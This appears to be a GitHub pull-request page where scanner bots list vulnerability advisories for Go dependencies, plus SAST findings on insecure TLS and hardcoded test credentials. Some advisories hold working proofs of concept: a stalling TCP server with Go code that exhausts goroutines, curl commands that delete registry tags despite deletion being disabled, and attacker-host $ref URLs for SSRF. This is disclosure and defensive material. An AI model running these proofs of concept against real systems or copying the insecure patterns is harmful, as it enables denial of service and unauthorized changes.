[ CVE-2026-33540 ] github.com/distribution/distribution/v3 3.0.0

Vulnerability Details

Contextual Analysis: Not Covered
CVSS V3: 7.5
Dependency Path:
github.com/distribution/distribution/v3: 3.0.0 (Transitive)

hi guys,

commit: 40594bd98e6d6ed993b5c6021c93fdf96d2e5851 (as-of 2026-01-31)
contact: GitHub Security Advisory (https://github.com/distribution/distribution/security/advisories/new)

summary

in pull-through cache mode, distribution discovers token auth endpoints by parsing WWW-Authenticate challenges returned by the configured upstream registry. the realm URL from a bearer challenge is used without validating that it matches the upstream registry host. as a result, an attacker-controlled upstream (or an attacker with MitM position to the upstream) can cause distribution to send the configured upstream credentials via basic auth to an attacker-controlled realm URL.

this is the same vulnerability class as CVE-2020-15157 (containerd), but in distribution’s pull-through cache proxy auth flow.

severity

HIGH

note: the baseline impact is credential disclosure of the configured upstream credentials. if a deployment uses broader credentials for upstream auth (for example cloud iam credentials), the downstream impact can be higher; i am not claiming this as default for all deployments.

impact

credential exfiltration of the upstream authentication material configured for the pull-through cache.

attacker starting positions that make this realistic:

  • supply chain / configuration: an operator configures a proxy cache to use an upstream that becomes attacker-controlled (compromised registry, stale domain, or a malicious mirror)
  • network: MitM on the upstream connection in environments where the upstream is reachable over insecure transport or a compromised network path

affected components

  • registry/proxy/proxyauth.go:66-81 (getAuthURLs): extracts bearer realm from upstream WWW-Authenticate without validating destination
  • internal/client/auth/session.go:485-510 (fetchToken): uses the realm URL directly for token fetch
  • internal/client/auth/session.go:429-434 (fetchTokenWithBasicAuth): sends credentials via basic auth to the realm URL

reproduction

attachment: poc.zip (local harness) with canonical and control runs.

the harness is local and does not contact a real registry: it uses two local HTTP servers (upstream + attacker token service) to demonstrate whether basic auth is sent to an attacker-chosen realm.

unzip -q -o poc.zip -d poc
cd poc
make canonical
make control

expected output (excerpt):

[CALLSITE_HIT]: getAuthURLs::configureAuth
[PROOF_MARKER]: basic_auth_sent=true realm_host=127.0.0.1 account_param=user authorization_prefix=Basic

control output (excerpt):

[CALLSITE_HIT]: getAuthURLs::configureAuth
[NC_MARKER]: realm_validation=PASS basic_auth_sent=false

suggested remediation

validate that the token realm destination is within the intended trust boundary before associating credentials with it or sending any authentication to it. one conservative option is strict same-host binding: only accept a realm whose host matches the configured upstream host.

fix accepted when

  • distribution does not send configured upstream credentials to an attacker-chosen realm URL
  • a regression test covers the canonical and blocked cases

addendum.md
poc.zip
PR_DESCRIPTION.md
RUNNABLE_POC.md

best,
oleh

[ GHSA-hwp8-w8pv-xq8f ] github.com/go-openapi/swag/yamlutils 0.26.0

Vulnerability Details

CVSS V3: -
Dependency Path:
github.com/go-openapi/swag/yamlutils: 0.26.0 (Transitive)

Summary

yamlutils.YAMLToJSON resolves YAML anchor/alias references by re-walking and re-expanding
the aliased node tree on every reference (yamlNode, case yaml.AliasNode), rather than
memoizing already-resolved aliases. A YAML document with a short chain of anchors, each
does not benefit from the stdlib decoder's built-in max-nesting-depth guard (in place since
Go 1.15). The same payload that crashes swag is rejected cleanly by encoding/json.Unmarshal.

Impact

Denial of Service: an unauthenticated remote attacker who can get a YAML document parsed by
YAMLToJSON (directly, or via any go-openapi/go-swagger consumer that validates or imports specs) can crash the serving process with a single request. Because the crash is a runtime fatal error`, it is not recoverable within the process and takes down all
in-flight requests being served by that process, not just the attacker's own request.

[ GHSA-c68w-432j-47vw ] github.com/go-openapi/validate 0.25.3

Vulnerability Details

CVSS V3: -
Dependency Path:
github.com/go-openapi/validate: 0.25.3 (Direct)

Summary

Ref.IsValidURI() in github.com/go-openapi/spec performs outbound HTTP requests using a bare http.Get() call with no timeout or cancellation mechanism. When invoked on attacker-controlled URLs that intentionally never complete the HTTP response, each call can block indefinitely and retain goroutines and file descriptors, leading to denial of service under concurrent load.

The function also performs requests to arbitrary URLs, including internal addresses, creating SSRF-like behavior.


Details

Affected code in ref.go#L78:

func (r *Ref) IsValidURI(basepaths ...string) bool {
    // ...
    if r.HasFullURL {
        //nolint:noctx,gosec
        rr, err := http.Get(v)
        if err != nil {
            return false
        }
        defer rr.Body.Close()
        return rr.StatusCode/100 == 2
    }
    // ...
}

Problems:

  1. No timeout
    http.Get() uses http.DefaultClient, whose timeout is 0 by default (unbounded).

  2. No cancellation
    The request is not created with a context, and the API does not expose any way for callers to cancel or bound the request duration.

  3. Attacker-controlled trigger
    HasFullURL becomes true for any URL with a scheme and host:

if refURL.Scheme != "" && refURL.Host != "" {
    r.HasFullURL = true
}

Any attacker-controlled $ref such as:

http://attacker.tld/schema.json
http://127.0.0.1/internal

reaches the vulnerable branch.

If the remote server accepts the TCP connection but never sends an HTTP response, the goroutine remains blocked waiting on network reads indefinitely.


PoC

Start a TCP listener that accepts connections and never responds:

package main

import "net"

func main() {
    ln, _ := net.Listen("tcp", ":8080")

    for {
        conn, _ := ln.Accept()

        go func(c net.Conn) {
            defer c.Close()
            select {}
        }(conn)
    }
}

Run:

go run hang.go

Then execute:

package main

import (
    "fmt"
    "runtime"
    "time"

    "github.com/go-openapi/spec"
)

func main() {
    fmt.Println("before:", runtime.NumGoroutine())

    for i := 0; i < 20; i++ {
        go func() {
            ref, _ := spec.NewRef("http://127.0.0.1:8080/schema.json")
            ref.IsValidURI()
        }()
    }

    time.Sleep(2 * time.Second)

    fmt.Println("after:", runtime.NumGoroutine())

    time.Sleep(60 * time.Second)

    fmt.Println("after 60s:", runtime.NumGoroutine())
}

Expected result:

before: 2
after: 22
after 60s: 22

All spawned goroutines remain blocked while the remote peer keeps the connection open.


Impact

This is an uncontrolled resource consumption vulnerability (CWE-400 / CWE-770) leading to denial of service.

Applications are affected if they:

  • accept user-controlled OpenAPI specs or $ref values, and
  • call Ref.IsValidURI() during validation or processing.

An attacker can repeatedly supply references pointing to a server that intentionally stalls responses, causing unbounded accumulation of:

  • goroutines,
  • file descriptors,
  • outbound sockets,
  • and associated memory/resources.

Under sufficient concurrency, the process may stop accepting new connections or crash due to resource exhaustion.

The function also performs outbound requests to arbitrary attacker-supplied URLs, including internal addresses, enabling SSRF-like internal network interaction and reachability probing.

[ CVE-2026-84303 ] google.golang.org/grpc 1.81.1

Vulnerability Details

Contextual Analysis: Not Covered
CVSS V3: -
Dependency Path:
google.golang.org/grpc: 1.81.1 (Direct)

Summary

A vulnerability in the xDS RBAC HTTP filter implementation in grpc-go allows remote attackers to bypass authorization policies (specifically DENY rules) by using mixed-case or canonical-case header matchers (e.g., X-Role instead of x-role). Additionally, the safety guards introduced by gRFC A41 to block grpc- prefixed headers can be evaded via variations in casing (e.g., Grpc-Status).

Impact

When an operator defines an RBAC policy referencing headers containing uppercase letters (e.g. X-Role), grpc-go fails to match incoming metadata keys because they are unconditionally lowercased. Because of this case-sensitivity mismatch, a policy designed to block requests containing specific header values fails open: the rule is evaluated as a non-match, and traffic that should have been rejected is served.

Furthermore, gRFC A41 requires rejecting configuration schemas specifying header matchers starting with grpc-. Because this check is executed case-sensitively in grpc-go, attackers can bypass the validation by specifying titles like Grpc-Status.

Patches

The problem is fixed in master and in the 1.83.1 release.

[ CVE-2026-71557 ] github.com/go-git/go-git/v5 5.19.1

Vulnerability Details

Contextual Analysis: Not Covered
CVSS V3: 6.3
Dependency Path:
github.com/go-git/go-git/v5: 5.19.1 (Transitive)

Impact

A path traversal issue in go-git could allow malicious reference names to access files outside the repository's intended reference storage.

Loose references are stored under .git/<reference-name>. The reference name was previously used as a path without verifying that the resolved path remained within the reference storage. A name such as refs/heads/../../config could therefore resolve to unrelated repository metadata such as .git/config or .git/HEAD.

A malicious Git server could advertise such a reference name. The name may also survive refspec mapping; for example, it could be mapped to refs/remotes/origin/../../config during a clone or fetch operation.

This vulnerability affects filesystem-backed repositories using the storage/filesystem package and its dotgit reference storage. Users relying exclusively on the in-memory storage implementation, storage/memory, are not affected, because reference names are not resolved as filesystem paths.

Exploitation requires an application using go-git with filesystem-backed storage to interact with a malicious Git server or otherwise process attacker-controlled reference names.

Patches

The issue has been addressed by validating reference names at the dotgit storage entry points and rejecting names whose resolved paths could escape the reference storage.

Users of filesystem-backed storage should upgrade to a patched version.

Workarounds

Applications that exclusively use storage/memory are not affected and do not require a workaround for this vulnerability.

For applications using filesystem-backed storage, avoid cloning from or fetching from untrusted Git servers until an upgrade is possible.

Applications that directly construct or process reference names may also validate them before passing them to filesystem-backed go-git storage. Application-level validation should only be considered a temporary mitigation and does not replace upgrading to a patched version.

References

Credits

Thanks to @Saku0512 for reporting this issue and @Sahana2524 for proposing the initial fix. 🙇

[ CVE-2026-61801 ] github.com/moby/sys/user 0.4.0

Vulnerability Details

Contextual Analysis: Not Covered
CVSS V3: 5.5
Dependency Path:
github.com/moby/sys/user: 0.4.0 (Transitive)

A denial-of-service (DoS) vulnerability exists in github.com/moby/sys/user before v0.4.1 when parsing specially crafted user or group database files. An attacker able to supply a malicious /etc/passwd or /etc/group-style file may cause excessive memory consumption, potentially resulting in process termination due to Out Of Memory (OOM) conditions.

This issue is related to containerd [CVE-2026-47262] / GHSA-jpcc-p29g-p8mq, which describes one practical exploitation path through processing untrusted container image content. Applications using github.com/moby/sys/user to parse untrusted user or group database files may be similarly affected.

Impact

github.com/moby/sys/user versions before v0.4.1 do not place sufficient limits on entries while parsing user and group database files. A specially crafted file may cause excessive memory consumption, potentially leading to process termination due to Out Of Memory (OOM) conditions.

Applications that use github.com/moby/sys/user to parse user-supplied or otherwise untrusted /etc/passwd or /etc/group files may be affected. The severity depends on whether an attacker can influence the contents of files being parsed.

Patches

This issue is fixed in github.com/moby/sys/user v0.4.1. Users should upgrade to v0.4.1 or later.

Workarounds

Avoid parsing attacker-controlled /etc/passwd or /etc/group-style files with affected versions of github.com/moby/sys/user.

Applications that must process untrusted user or group database files should validate and limit accepted input before parsing. Upgrading to v0.4.1 or later is the recommended remediation.

References

[ CVE-2026-41888 ] github.com/distribution/distribution/v3 3.0.0

Vulnerability Details

Contextual Analysis: Not Covered
CVSS V3: 6.5
Dependency Path:
github.com/distribution/distribution/v3: 3.0.0 (Transitive)

Summary

Tag deletion via the DELETE /v2/<name>/manifests/<tag> endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion.

Details

When storage.delete.enabled is configured to false, digest-based manifest deletion is correctly rejected by the guard in registry/storage/linkedblobstore.go:212-215.

However, tag deletion takes a separate code path that never checks this setting:

In registry/handlers/manifests.go:439-453, DeleteManifest detects a tag reference, calls tagService.Untag(), returns, never consulting registry.deleteEnabled.

In turn, tagStore.Untag() calls the storage driver directly to delete the tag path without checking whether deletes are enabled.

PoC

Using a paired down Distribution configuration that explicitly disables deletes, such as this one, stored as config.yaml:

version: 0.1
storage:
  delete:
    enabled: false
  filesystem:
    rootdirectory: /var/lib/registry
http:
  addr: :5000

Start a local Distribution, mounting in the above configuration from the current directory:

docker run -p 5000:5000 -v "$(pwd)/config.yaml":/config.yaml --restart=always --name registry registry:3.1.0 /config.yaml

In a separate terminal session/tab, push alpine:3.23 into the running instance:

docker pull alpine:3.23
docker tag alpine:3.23 localhost:5000/alpine:3.23
docker push localhost:5000/alpine:3.23

Confirm that the tag shows up as expected:

curl 'http://localhost:5000/v2/alpine/tags/list'
{"name":"alpine","tags":["3.23"]}

Issue a delete for the 3.23 tag:

curl -X DELETE 'http://localhost:5000/v2/alpine/manifests/3.23'

Observe that the tag is now gone, despite deletes being disabled:

curl 'http://localhost:5000/v2/alpine/tags/list'
{"name":"alpine","tags":null}

Impact

This is an authorization bypass vulnerability. Any client with network access to the registry can delete tags despite the operator having disabled deletion. This can cause denial of service for consumers pulling by tag and enables supply-chain disruption by removing trusted tags from a registry that the operator and/or users believed to be immutable.

[ CVE-2026-71556 ] github.com/go-git/go-git/v5 5.19.1

Vulnerability Details

Contextual Analysis: Not Applicable
CVSS V3: 7.1
Dependency Path:
github.com/go-git/go-git/v5: 5.19.1 (Transitive)

Impact

A symlink traversal issue in go-git could allow worktree operations to modify files outside the intended worktree path.

The worktreeFilesystem wrapper rejected dangerous path strings, including paths containing .git, parent-directory components, or control characters. However, it did not prevent filesystem operations from following symbolic links that were already present in the worktree.

As a result, a path that is safe when evaluated as a string could still resolve into the repository's Git metadata directory. For example, if s is a symbolic link to .git, writing to s/config would modify .git/config.

A symbolic link at the final path component could also be followed. For example, if s points directly to .git/config, opening s for writing with truncation could overwrite the repository configuration.

Exploitation requires an attacker to be able to introduce or control a symbolic link in the worktree and cause the application to perform a write through that path.

Applications using storage/memory for their Storer, or go-billy/memfs for their Worktree, are not affected by this vulnerability.

Patches

The issue has been addressed by making the worktree filesystem wrapper a symlink-safe boundary.

Worktree operations now reject paths where an existing symbolic link in any path component could cause the operation to escape the intended worktree location, including symbolic links at the final component.

Users of filesystem-backed worktrees should upgrade to a patched version.

Credits

Thanks to @kodareef5 for reporting this issue and working with the go-git security team toward its resolution. 🥇
We would also like to thank @HughLewis20, who independently reported the same issue while a fix was already in progress.

[ CVE-2026-17106 ] github.com/moby/go-archive 0.2.0

Vulnerability Details

Contextual Analysis: Not Applicable
CVSS V3: -
Dependency Path:
github.com/moby/go-archive: 0.2.0 (Transitive)

Summary

The tar extraction routines in moby/go-archive (Unpack, UnpackLayer, Untar/UntarUncompressed, and the ApplyLayer helpers) do not confine filesystem operations to the destination directory. A crafted archive can create or overwrite files outside the intended destination.

Details

The extractor decides where each archive entry lands using lexical string checks and then performs the filesystem operation on a path that is resolved by the OS, so a links introduced by the archive can be followed out of the destination directory.

Impact

An attacker who controls the contents of archive can create or overwrite files at arbitrary paths writable by the extracting process.

Workarounds

Only extract trusted archives.


@github-actions

github-actions Bot commented Sep 2, 2026

Copy link
Copy Markdown
Contributor
{InsecureSkipVerify: true}

at utils/tests/proxy/server/server.go (line 56)

🎯 Static Application Security Testing (SAST) Vulnerability

Severity Finding
high
High
TLS settings are configured insecurely, exposing communications to risks
Full description

Vulnerability Details

Rule ID: go-insecure-tls

Overview

Insecure TLS Configuration is a type of vulnerability that occurs when an
application uses weak or outdated cryptographic protocols, ciphers, or
configurations for secure communication over the network.

Vulnerable example

package main

import (
    "crypto/tls"
)

func main() {}

func insecureMinMaxTlsVersion() {
    {
        config := &tls.Config{}
        config.MinVersion = 0
    }
    {
        config := &tls.Config{}
        config.MinVersion = tls.VersionSSL30
    }
    {
        config := &tls.Config{}
        config.MaxVersion = tls.VersionSSL30
    }
    {
        config := &tls.Config{}
    }
}

func insecureCipherSuites() {
    config := &tls.Config{
        CipherSuites: []uint16{
            tls.TLS_RSA_WITH_RC4_128_SHA,
        },
    }
    _ = config
}

In this example, the MinVersion field is set to tls.VersionSSL30, which
uses the outdated SSL 3.0 protocol, making the application vulnerable to
attacks such as POODLE.

Remediation

package main

import (
    "crypto/tls"
)

func main() {}

func insecureMinMaxTlsVersion() {
    {
        config := &tls.Config{}
-       config.MinVersion = 0
+       config.MinVersion = tls.VersionTLS12
    }
    {
        config := &tls.Config{}
-       config.MinVersion = tls.VersionSSL30
+       config.MinVersion = tls.VersionTLS12
    }
    {
        config := &tls.Config{}
-       config.MaxVersion = tls.VersionSSL30
    }
    {
-       config := &tls.Config{}
+       config := &tls.Config{MinVersion: tls.VersionTLS12}
    }
}

func insecureCipherSuites() {
    config := &tls.Config{
        CipherSuites: []uint16{
-           tls.TLS_RSA_WITH_RC4_128_SHA,
+           tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
        },
+       MinVersion: tls.VersionTLS12,
    }
    _ = config
}

By using safe TLS versions (e.g., tls.VersionTLS12) and secure cipher suites we can
mitigate the risk of insecure TLS configurations and improve the security of the
application.



@github-actions

github-actions Bot commented Sep 2, 2026

Copy link
Copy Markdown
Contributor
NpmLocalRepositoryConfig

at utils/tests/consts.go (line 96)

🎯 Static Application Security Testing (SAST) Vulnerability

Severity Finding
low
Low
Credentials for restricted resources included directly in source code
Full description

Vulnerability Details

Rule ID: go-hardcoded-credentials

Overview

Hardcoded credentials are usernames, passwords, API keys, or other secrets
embedded directly in source code. This practice, identified by CWE-798, is
highly insecure because it makes it easy for anyone with access to the code to
discover and misuse the credentials. If the code is publicly released, shared,
or leaked, the credentials will be exposed to unauthorized parties.

Vulnerable example

In this example, the database username and password for the frog pond are
hardcoded directly in the source code as string literals. This is a major
security risk, as anyone who can read this file can steal the credentials and
gain unauthorized access to the database.

package main

import (
	"database/sql"
	"fmt"
	"log"

	_ "[github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql)"
)

func main() {
	// VULNERABLE: Hardcoded database credentials for the frog pond.
	frogUser := "pond_admin"
	frogPassword := "LeapFlog123!"
	pondName := "lilypad_db"

	connStr := fmt.Sprintf("%s:%s@tcp(127.0.0.1:3306)/%s",
		frogUser, frogPassword, pondName)

	lilypadDB, err := sql.Open("mysql", connStr)
	if err != nil {
		log.Fatalf("Error opening database: %v", err)
	}
	defer lilypadDB.Close()

	err = lilypadDB.Ping()
	if err != nil {
		log.Fatalf("Error pinging database: %v", err)
	}
	fmt.Println("Successfully connected to the frog pond.")
}

Remediation

The remediated code retrieves the database credentials from environment
variables instead of hardcoding them. This is a much more secure approach, as
it separates the secrets from the source code. This allows credentials to be
managed securely by deployment systems and rotated without changing the code.

package main

import (
	"database/sql"
	"fmt"
	"log"
	"os"

	_ "[github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql)"
)

func main() {
	// SECURE: Retrieve credentials from environment variables.
	frogUser := os.Getenv("FROG_DB_USER")
	frogPassword := os.Getenv("FROG_DB_PASS")
	pondName := os.Getenv("FROG_DB_NAME")

	if frogUser == "" || frogPassword == "" || pondName == "" {
		log.Fatal("DB credentials are not set in environment variables.")
	}

	connStr := fmt.Sprintf("%s:%s@tcp(127.0.0.1:3306)/%s",
		frogUser, frogPassword, pondName)

	lilypadDB, err := sql.Open("mysql", connStr)
	if err != nil {
		log.Fatalf("Error opening database: %v", err)
	}
	defer lilypadDB.Close()

	err = lilypadDB.Ping()
	if err != nil {
		log.Fatalf("Error pinging database: %v", err)
	}
	fmt.Println("Successfully connected to the frog pond.")
}



@github-actions

github-actions Bot commented Sep 2, 2026

Copy link
Copy Markdown
Contributor
NpmLocalScopedRespositoryConfig

at utils/tests/consts.go (line 97)

🎯 Static Application Security Testing (SAST) Vulnerability

Severity Finding
low
Low
Credentials for restricted resources included directly in source code
Full description

Vulnerability Details

Rule ID: go-hardcoded-credentials

Overview

Hardcoded credentials are usernames, passwords, API keys, or other secrets
embedded directly in source code. This practice, identified by CWE-798, is
highly insecure because it makes it easy for anyone with access to the code to
discover and misuse the credentials. If the code is publicly released, shared,
or leaked, the credentials will be exposed to unauthorized parties.

Vulnerable example

In this example, the database username and password for the frog pond are
hardcoded directly in the source code as string literals. This is a major
security risk, as anyone who can read this file can steal the credentials and
gain unauthorized access to the database.

package main

import (
	"database/sql"
	"fmt"
	"log"

	_ "[github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql)"
)

func main() {
	// VULNERABLE: Hardcoded database credentials for the frog pond.
	frogUser := "pond_admin"
	frogPassword := "LeapFlog123!"
	pondName := "lilypad_db"

	connStr := fmt.Sprintf("%s:%s@tcp(127.0.0.1:3306)/%s",
		frogUser, frogPassword, pondName)

	lilypadDB, err := sql.Open("mysql", connStr)
	if err != nil {
		log.Fatalf("Error opening database: %v", err)
	}
	defer lilypadDB.Close()

	err = lilypadDB.Ping()
	if err != nil {
		log.Fatalf("Error pinging database: %v", err)
	}
	fmt.Println("Successfully connected to the frog pond.")
}

Remediation

The remediated code retrieves the database credentials from environment
variables instead of hardcoding them. This is a much more secure approach, as
it separates the secrets from the source code. This allows credentials to be
managed securely by deployment systems and rotated without changing the code.

package main

import (
	"database/sql"
	"fmt"
	"log"
	"os"

	_ "[github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql)"
)

func main() {
	// SECURE: Retrieve credentials from environment variables.
	frogUser := os.Getenv("FROG_DB_USER")
	frogPassword := os.Getenv("FROG_DB_PASS")
	pondName := os.Getenv("FROG_DB_NAME")

	if frogUser == "" || frogPassword == "" || pondName == "" {
		log.Fatal("DB credentials are not set in environment variables.")
	}

	connStr := fmt.Sprintf("%s:%s@tcp(127.0.0.1:3306)/%s",
		frogUser, frogPassword, pondName)

	lilypadDB, err := sql.Open("mysql", connStr)
	if err != nil {
		log.Fatalf("Error opening database: %v", err)
	}
	defer lilypadDB.Close()

	err = lilypadDB.Ping()
	if err != nil {
		log.Fatalf("Error pinging database: %v", err)
	}
	fmt.Println("Successfully connected to the frog pond.")
}



@github-actions

github-actions Bot commented Sep 2, 2026

Copy link
Copy Markdown
Contributor
NpmRemoteRepositoryConfig

at utils/tests/consts.go (line 98)

🎯 Static Application Security Testing (SAST) Vulnerability

Severity Finding
low
Low
Credentials for restricted resources included directly in source code
Full description

Vulnerability Details

Rule ID: go-hardcoded-credentials

Overview

Hardcoded credentials are usernames, passwords, API keys, or other secrets
embedded directly in source code. This practice, identified by CWE-798, is
highly insecure because it makes it easy for anyone with access to the code to
discover and misuse the credentials. If the code is publicly released, shared,
or leaked, the credentials will be exposed to unauthorized parties.

Vulnerable example

In this example, the database username and password for the frog pond are
hardcoded directly in the source code as string literals. This is a major
security risk, as anyone who can read this file can steal the credentials and
gain unauthorized access to the database.

package main

import (
	"database/sql"
	"fmt"
	"log"

	_ "[github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql)"
)

func main() {
	// VULNERABLE: Hardcoded database credentials for the frog pond.
	frogUser := "pond_admin"
	frogPassword := "LeapFlog123!"
	pondName := "lilypad_db"

	connStr := fmt.Sprintf("%s:%s@tcp(127.0.0.1:3306)/%s",
		frogUser, frogPassword, pondName)

	lilypadDB, err := sql.Open("mysql", connStr)
	if err != nil {
		log.Fatalf("Error opening database: %v", err)
	}
	defer lilypadDB.Close()

	err = lilypadDB.Ping()
	if err != nil {
		log.Fatalf("Error pinging database: %v", err)
	}
	fmt.Println("Successfully connected to the frog pond.")
}

Remediation

The remediated code retrieves the database credentials from environment
variables instead of hardcoding them. This is a much more secure approach, as
it separates the secrets from the source code. This allows credentials to be
managed securely by deployment systems and rotated without changing the code.

package main

import (
	"database/sql"
	"fmt"
	"log"
	"os"

	_ "[github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql)"
)

func main() {
	// SECURE: Retrieve credentials from environment variables.
	frogUser := os.Getenv("FROG_DB_USER")
	frogPassword := os.Getenv("FROG_DB_PASS")
	pondName := os.Getenv("FROG_DB_NAME")

	if frogUser == "" || frogPassword == "" || pondName == "" {
		log.Fatal("DB credentials are not set in environment variables.")
	}

	connStr := fmt.Sprintf("%s:%s@tcp(127.0.0.1:3306)/%s",
		frogUser, frogPassword, pondName)

	lilypadDB, err := sql.Open("mysql", connStr)
	if err != nil {
		log.Fatalf("Error opening database: %v", err)
	}
	defer lilypadDB.Close()

	err = lilypadDB.Ping()
	if err != nil {
		log.Fatalf("Error pinging database: %v", err)
	}
	fmt.Println("Successfully connected to the frog pond.")
}



Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

new feature Automatically generated release notes

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants